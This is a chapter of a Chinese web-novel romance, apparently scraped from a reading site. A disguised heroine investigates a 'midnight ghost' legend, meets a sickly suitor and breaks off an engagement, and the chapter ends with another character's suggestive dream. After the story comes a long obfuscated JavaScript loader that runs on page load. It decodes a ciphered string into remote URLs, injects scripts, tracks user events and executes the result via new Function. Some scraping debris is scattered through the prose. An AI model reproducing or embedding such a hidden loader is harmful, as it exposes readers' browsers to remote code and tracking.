第 30 章 梦她(1 / 1)

要在清镇待上几日,等沙尘暴过去,又不能随处去,因为对此地不熟悉,楚含棠无聊地坐在院子中。

清镇出现一次沙尘暴,短时间会在两三刻钟恢复如常,稍长时间的也会在一个时辰内恢复。

刚刚已经过去一次沙尘暴了,现在看着周围跟平常相差不大。

但因为李大娘他们住在清镇很多年了,能准确地预料到下一次沙尘暴会在什么时候来,就在这几日内,他们还是得等等。

矮墙高度太低,她就算是坐着也能看到外面的人和事。

几个小孩儿每天准时出来玩游戏,这一次玩的是蒙眼摸人的游戏。

楚含棠看了一会儿,走出院子。

她还没开口说话就被一名小姑娘抱住大腿,“抓到了!不过,怎么感觉怪怪的?”

小姑娘拉下蒙眼的黑布,仰起头看高自己不知道多少的楚含棠。

“又是长得好看的哥哥。”小姑娘铁定是一个颜控,看见长得好看的人就挪不开眼儿了。

楚含棠被长得好看几个字取悦。

她弯下腰,温柔地摸了摸小姑娘的脸,“小妹妹,哥哥想问你几个问题,你若答了,我给你糖吃。”

小姑娘点头,“好。”

那些男孩扯了扯她的衣角,提醒道:“你阿爹阿娘没跟你说过不能吃陌生人的东西么?”

楚含棠语塞,她这样的确好像是一个诱骗小孩的坏人。

小姑娘却轻轻地甩开了他们,“哥哥,你问吧。”

这些男孩见她不肯听自己的话,也没办法,只好在旁边守着她。

楚含棠尴尬地笑了笑,抬头看了一眼四周,见没有大人经过,也还是说话很小声,“你们这里是不是有传说中的夜半鬼?”

小姑娘眼睛睁大,也学她一样很小声说话,看着就可爱。

“没错,我们这里每天晚上都会有夜半鬼,但是我阿爹阿娘说他们不是坏的。”

“他们只是生病了成了夜半鬼,也不想伤害人的,可是、可是……反正我阿爹阿娘让我们晚上不要开门出去。”

生病了成了夜半鬼?什么病?

不是巫术在作怪么?楚含棠故作不知,“如果我晚上给夜半鬼开门了,会如何?”

小姑娘抿了抿唇,手指似有些不安地绞着暗黄色的衣角,凑到她耳边说:“哥哥不要给夜半鬼开门,他们会吃掉你的。”

楚含棠感觉其中一定另有隐情。

“你刚说他们是生病了才会被迫成为夜半鬼的,可以告诉哥哥,他们为什么会生病么?”

刚说到此处,小姑娘的阿娘从附近的房屋里出来。

见她们靠得这么近说话,她眼神闪烁,赶紧过来拉住小姑娘要走,好像很害怕被发现什么。

动静闹得有点儿大,住在隔壁的人也走出来看,但他们却始终躲在自家院子中往外看,有些甚至只打开半扇门,透过门缝看。

看得楚含棠毛骨悚然。

她依然快速地塞了几颗糖给小姑娘,

??,

楚含棠才转身,一抬头便看到了坐在矮墙之上的谢似淮,他双手撑在墙上,腿垂下来,靴子几乎触到黄土地面。

此刻,谢似淮看着她。

楚含棠站住,想说些什么,又回头看看身后,一个人都没有了,“你什么时候出来的?”

谢似淮仿佛真的思考了一下,“从你跟她说话开始。”

那也太早了吧,楚含棠觉得他神出鬼没的,每次都不会发出一丝声响,恍若幽魂般,“那你也听见她说的话了?”

“嗯。”谢似淮像没多大感觉。

明明昨晚还铁了心要找那个假扮成传说中的夜半鬼去敲他门的人,可如今看他的神色,她又拿不定主意了。

楚含棠见谢似淮不感兴趣就没说下去了,想回屋找池尧瑶去。

一踏入院子,碰巧遇到要拿水桶去井打水的李大娘。

李大娘想一次性把八个房间里的水缸都装满水,而她丈夫现在不在家,只有她去。

他们住在李大娘家,房间里的水也是他们用的,若要到远处背水回来,也应该是他们去。

不然一个人打八个大水缸的水得打到什么时候。

不仅是楚含棠这么想,池尧瑶也是,只见他们几个人及时地从房子里走出来,不约而同地接过李大娘手里的木桶。

还在院子多拿了几个。

柳之裴以前虽然是养尊处优的贵公子,但毕竟也练过武,自然是能干些体力活的。

他还因为没干过这种事而跃跃欲试,向往跟池尧瑶一起干

活。

这样还能争取多一些相处时间。

楚含棠拿了四个木桶,塞了两个进谢似淮的手里,一人挑两担水,几个来回很快就能把水缸装满的。

谢似淮看着手里被塞进来的两个木桶,却也没有直接扔掉。

李大娘争不过他们,只好答应下来,带他们前去水井。

住在李大娘隔壁的人看见这一幕,面面相觑,不知在想些什么,还觉得李大娘真是疯了,把这些外人留在家中,就不怕出事?

不过他们已经在清镇住过一晚,也没见出事,想来是不简单的人。

可正因如此,更不能把他们留下,若他们一不小心地发现了清镇的秘密该当如何?

*

清镇只有一口水井,打水还需要排队,但是也不用排多久。

这里的人一看到他们来就纷纷让开了,好像见到鬼一样避开,掉头回自己家,闭门关窗。

楚含棠都快要习惯了。

柳之裴倒是用手摸了一把自己清隽的脸,疑惑道:“我们长得很吓人么?他们怎么看见我们跟看见避之不及的怪物一样?”

她没理他,走路走得有些辛苦,屁股酸疼酸疼的。

就连池尧瑶也留意到楚含棠的走路姿势跟以前相差甚大,想问时

见她偷偷揉了揉屁股位置,

?,

池尧瑶还是问了。

不是以一名女子的身份,而是以会医术的大夫身份。

楚含棠将自己从床上摔下地上一事含糊带过,池尧瑶又观察一遍她的走路姿势。

被人盯着自己的屁股看,她就算脸皮再厚也感到一丝害臊。

像是做出了什么决定,池尧瑶不掺任何私情,一本正经,“不知楚公子回去后,是否愿意脱下裤子,让我看一下你摔伤的程度。”

脱下裤子?

绝对不行,万一被发现自己下面没男人的那个东西呢。

楚含棠被自己的口水呛到,咳得满脸通红,把走在他们身边的人的注意力全部给吸引来了。

而白渊一直安静地听着她们说话,清楚刚才池尧瑶说了什么。

若是寻常,让一个男的脱下裤子,定然是不行的,可现在她是为了看对方是否摔伤筋骨等,也是情有可原,尽管他心里不是滋味。

但白渊分得清主次,理性地看待,楚含棠的身体比较重要。

从床上摔下摔伤屁股可大可小,以前池尧瑶和他曾见过一个从床上跌落,摔伤屁股、腰脊的人,后来那人瘫痪了。

谢似淮也不知听没听到她们在说什么,只是转头看了她们一眼。

楚含棠当然是婉拒了池尧瑶的好意,为了能顺利地完成任务,男子这个马甲身份自然是得捂得牢牢的。

池尧瑶见她坚持,只能作罢,让她若是觉得实在太疼再来找自己。

疼死也不可能找池尧瑶给自己看屁股的,楚含棠想是这么想,表面却忙说记下了。

*

清镇荒凉,隔老远都见不到一棵树,白天太阳猛烈,把他们每一个人都晒成仿佛被蒸熟了的大闸蟹。

只有水井旁有一棵千年老树。

千年老树的叶子还算繁茂,能遮阳,他们到那里才得以喘口气。

楚含棠口渴,直接放桶下去吊起一桶水,再倾斜桶壁倒些水出来放在掌心上,低头喝了几口,下巴也沾上了水珠。

柳之裴笑话她是缺水鬼。

经过这一段时间的相处,楚含棠也知道他有时候说话就这样。

她也没放在心上,把挂在自己腰间的水袋装满,又把池尧瑶的给满上,而李大娘正在给他们示范如何才能省时省力地吊水起来。

孔常和素心干惯活,不用李大娘多说,已经很熟练了。

有孔常、素心两人,其他人不用去吊水,只需要等他们把水都吊起来,然后担水回去就行。

谢似淮仰头看着头顶的这棵千年老树,楚含棠顺着他视线看去。

她发现这棵树居然还有果,深褐色的外皮,小小的一撮连在一起,像桂圆,却又不是桂圆,就是不知道能不能吃。

楚含棠问:“你想吃?”

像是没反应过来她是在问他,谢似淮过了一会儿才道:“不是。”

不管是不是,如果这个能吃,楚含棠都想摘下来给他尝一下。

谢似淮吃太少,她的饭量都比他大不少,经常有种怕他会饿死,走不到结局章的剧情,然后到剧情线崩坏的感觉。

不过也不知道谢似淮是从什么时候才这样的,要是从小时候开始,那能长

大,还长成这般模样,也算是基因太强大和奇迹了。

楚含棠问站在旁边的李大娘。

“李大娘,这果子叫什么,我以前没见过。”

李大娘也往千年老树看上一眼,“这果子是我们清镇独有的,叫水中果,可以吃的,楚公子若想吃,也可以去摘一些。”

柳之裴也想上去摘一些下来,“为何叫水中果?”

明明是生在树上,还是在这天气比其他地方更热和干旱的清镇。

李大娘仔细地想了想,摇头,“我也不太清楚,大家都这么叫,我们便也是这么叫了。”

在他们聊着的时候,楚含棠已经爬到树中间了。

池尧瑶见了,不由得嘱咐一句:“楚公子,你小心点儿。”

楚含棠在现代小时候爬过的树可多了,爬起来还算轻松,就是牵动屁股时会抽疼。

谢似淮微微抬着头,目光落到攀爬在树上的她身上。

只见楚含棠已经爬到有水中果的地方,行动灵活,一手抱着树枝,不让自己掉下来,一手伸过去将水中果摘下来。

不到片刻,楚含棠便摘了不少水中果下来,也出了汗。

楚含棠一下来,就把一撮看起来最大的递给谢似淮。

“你尝尝。”她用手臂擦了一下滴到下巴的汗水,一双眼睛天生微勾着,眼底清澈如水。

谢似淮接下了。

见他接下,楚含棠又把剩下的分给其他人,还是先给了池尧瑶。

道谢声不断。

不知为何,谢似淮看着深褐色的水中果,脑海浮现的是那晚幻觉里穿着月牙白色裙子的楚含棠样子。

画面再一转,是她平常的少年样子,被人唤小公子。

后面的才是真实的楚含棠。

不知不觉,他的力气加大,在没有人看见的地方,直接把几颗水中果捏爆了。

*

把所有木桶都装满水后,他们也不打算在外久留,要回去了。

楚含棠刚准备用担子扛起两个木桶,忽然看见不远处走来几个人,便暂时卸下了力气,在阳光下眯着眼睛看过去。

只是看了走在前面的人一眼,她就差不多能知道他是谁了。

是本就该在清镇出场的第四名温润男配傅清仁。

傅清仁由一名小厮搀扶着,身体瘦削修长,皮肤是生病的那种苍白,眉眼如画,墨发玉冠,青莲之相。

却也是短命之相。

他身着的衣裳款式简单,仔细一看却又会发现是由昂贵的布料缝制而成,腰间佩戴着刻着傅字玉佩,肩宽腿长。

站在风沙中没多久

便捂唇咳嗽起来,

?(),

手腕缠着一串佛珠。

是傅清仁父母去寺庙求回来,说是保平安的,但到最后还是没能保他平安。

小厮见他咳嗽得厉害,脸色变得着急不已,“公子。”

傅清仁看着池尧瑶,抿唇一笑,声音不大,带着病弱气息,却也能听出欢喜,“池姑娘,好久不见,我还以为是我认错了呢。”

楚含棠默默地缩了缩脖子,希望自己能在修罗场中夹缝生存。

男主白渊,男二谢似淮,男三她,男四柳之裴,男五傅清仁齐聚一堂,也算玛丽苏文的小型修罗场了。

池尧瑶显然也有些不敢相信会在此处遇到傅清仁。

她迟疑几秒,语气也有重逢的喜悦,上前几步,“傅公子?你怎么会在这儿?”

傅清仁又是转头捂唇咳嗽几声。

“我是来清镇找一个人的,只是不巧,他前些日子离开了清镇,去了京城,没想到会遇到你们。”

楚含棠看他说话都觉得辛苦,傅清仁体弱,说话似乎也要耗费大量体力,速度很慢。

池尧瑶不解,“你身体不好,为何要亲自前来?”

傅清仁眸光变得黯淡,却还是笑着道:“那个人需要我亲自去见才行,所以我便千里迢迢来此了,对了,你们要去往何处?”

白渊对待情敌依然和颜悦色,不愧是原著正宫之主,“京城。”

傅清仁眼睛一亮,“如此甚好,不如我们一同前往?”

池尧瑶神色犹豫,他们如今处境艰难,追杀他们的人源源不断,若跟傅清仁一路去京城,恐怕会连累他。

而她犹豫的表情落在傅清仁眼里却是另一个意思了。

他笑了一下,“池姑娘莫要感到为难,我也只是随口一说罢了。”

池尧瑶抱歉一笑。

楚含棠本来是在

一旁看戏的,没想到傅清仁朝她看过来,一副病美人姿态,“这位公子,我看着有些眼熟,敢问尊姓大名?”

她惊讶地眨了眨眼,“我?我叫楚含棠,今口含,海棠棠。”

傅清仁再问:“是洛城楚家?”

楚含棠点点头,直觉有点儿不妙,却又不知从何说起,“没错,就是洛城的那个楚家。”

谢似淮这才看一眼他们。

傅清仁居然露出满意的表情,“原来同我表妹定亲的便是楚公子你,果然是一表人才,我们也算有缘分,竟能在此处相遇。”

楚含棠差点儿原地摔倒,下意识地扶住身边的谢似淮,不让自己摔倒,“抱歉。”

他淡笑,似乎不在意此事。

原著是提到过原主有一段婚约,是原主父母在死前给她定下的,但并没有写是傅清仁的表妹,楚含棠听到时也是心感震惊。

池尧瑶杏眼微睁,“原来楚公子有婚约在身?”

白渊想起这一段时间来她明里暗里地接近池尧瑶的事,眉头一皱。

即使池尧

瑶喜欢楚含棠,白渊也不可能让她去当别人的妾。

楚含棠有口难言,搜肠刮肚,“没错,我是有一桩婚约,但……但我心中已有喜欢之人。”

谢似淮听到后面那句,看向池尧瑶,又莫名其妙地弯了下嘴角。

心中已有喜欢之人么。

可楚含棠喜欢池尧瑶什么?一张白璧无瑕的皮囊?他凝视池尧瑶的脸,手指敲着腰间匕首。

不过,他为何想知道这个?谢似淮的笑容面具忽掉了下来。

楚含棠道:“是不会娶傅公子表妹的,将来我会亲自登门退亲。”

“也请傅公子放心,我会昭告当地的父老乡亲,是因为我的问题,所以才会有退亲一事。”

她知道这样说可能会得罪傅清仁,但是总觉得无论如何还是要处理这件事的。

拖下去对谁都没好处。

于是,楚含棠选择当着他们的面说这些话,摊开来说最好。

周围一下安静下来了。

傅清仁遗憾地叹口气,倒是没有责怪的意思,“强扭的瓜不甜,楚公子既然心中有人,那自然是强求不得的。”

他虚弱地站着。

“我傅清仁的表妹断不可能给人当妾,即使当正妻,也不许夫家纳妾,这一点注定楚公子和她无缘。”

楚含棠被他们看着,不自在地讪然一笑,这件事就算翻篇了。

*

傅清仁没有跟他们回李大娘家,他一来到清镇就找到落脚的地方,也听说了清镇那个夜半鬼传说,不开门便不会有危险。

所以他在水井旁跟池尧瑶碰面寒暄几句后就没下文了。

楚含棠清楚傅清仁的剧情主要在清镇和京城,他在清镇与他们分开走,后面到京城才会再有他的戏份。

到傍晚的时候,李大娘问他们要不要去去沐浴。

楚含棠想沐浴想疯了。

李大娘跟他们说,清镇的西边有一条时令河,可以去那里沐浴。

得知这个消息,楚含棠当机立断地回房间找衣裳,下定决心今晚一定要洗个澡。

一刻钟时间不到,他们看到了一条清澈见底的河流。

白渊让女子先沐浴,剩下的人站在河流外面附近守着,等她们洗完,他们男子再进去洗。

楚含棠差点儿两眼一黑。

这样安排下来,她就需要和他们一起沐浴了,而沐浴,自然是要把身上的衣物全部解开,到时候马甲不就要掉了!

池尧瑶和素心她们已经进去了。

楚含棠站在背对着河流,站在外面,惴惴不安地咬着手指头。

谢似淮离楚含棠不远,将她的一举一动尽数看在眼里,不知道想到哪儿去,眼神居然透出几分古怪。

“楚公子在想什么?”

河水流动的声音响在楚含棠耳边,但她也听见他问自己了,“没,没想什么,只是,我不太喜欢跟别人一起沐浴罢了。”

池尧瑶手脚

迅速,没让他们等很久,便随素心出来了。

轮到他们进去,楚含棠如临大敌般拖拖拉拉,目光在河扫来扫去,终于找到一个有石头遮掩的地方。

她抱着新衣裳,小心翼翼地往那里走,生怕会惊动其他人。

谢似淮视线掠过想躲到石头后面的楚含棠,眼睫一动,将腰封的扣子解开,放在了岸边。

白渊、孔常、柳之裴三人专注于自己的沐浴,倒是没有到处看。

r>楚含棠这次沐浴有惊无险,等穿上新衣,彻底松了一口气,整个人神清气爽。

忘了刚才的担惊受怕,她还开心地哼着曲儿。

柳之裴拧干自己的发梢,听着旁边传过来的曲儿,笑着问道:“楚公子今晚心情很好?”

“还可以。”

楚含棠弯腰捡起湿衣服,却怎么也找不到自己刚刚用来拭擦身体的方帕,“我的帕子呢?”

白渊抱起他的湿衣服,“什么帕子,重要么?”

她摇头,也不一定要找,“用来洗身子的帕子,可能不小心掉水里,飘走了吧,也不重要,我房间还有好几条。”

谢似淮也将放在岸边的衣衫拿起来,往外走。

回到李大娘家里,时辰又不早了,她提着一盏油灯,照旧催促着他们入房间休息,有了前车之鉴,他们二话不说地回去了。

晚上的风沙比白天的更大,李大娘让他们将洗过的衣衫先拿回各自的房间,拉起绳索晾着。

楚含棠苦恼地琢磨该如何拉绳。

而谢似淮轻松便在自己房间里牵起一条绳子,摊开衣衫就要挂上去。

却在摊开衣衫的瞬间,手在半空中顿住了,一条绣着楚字的白色帕子不知为什么夹在了他的衣衫里面。

不过很有可能是楚含棠的帕子掉入水里后,被水流冲到岸边,恰好冲到他放衣衫的地方。

楚含棠说过,这一条帕子是用来洗身子的……

谢似淮好看的眉头轻蹙,将帕子放到旁边,想在明天还给楚含棠。

把房间的东西一一放好,他躺到榻上,却在半夜发出一声微不可闻的闷哼,在某一刻钟,猛地踹开了被褥,半坐了起来。

里衣敞开着,谢似淮清瘦的脊背弯曲成了一道漂亮的弧度。

白皙的锁骨微颤,在身后的肩胛骨也轻轻起伏,而谢似淮目光幽深地看着手心里的污秽东西,略有几分病态地低低笑起。

他在黑暗中看向摆放在不远处的帕子,抬手将它打落在地。

他……居然梦到了楚含棠,梦到了一个喜欢池尧瑶的男人……

谢似淮冷漠到不正常程度地想。!

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();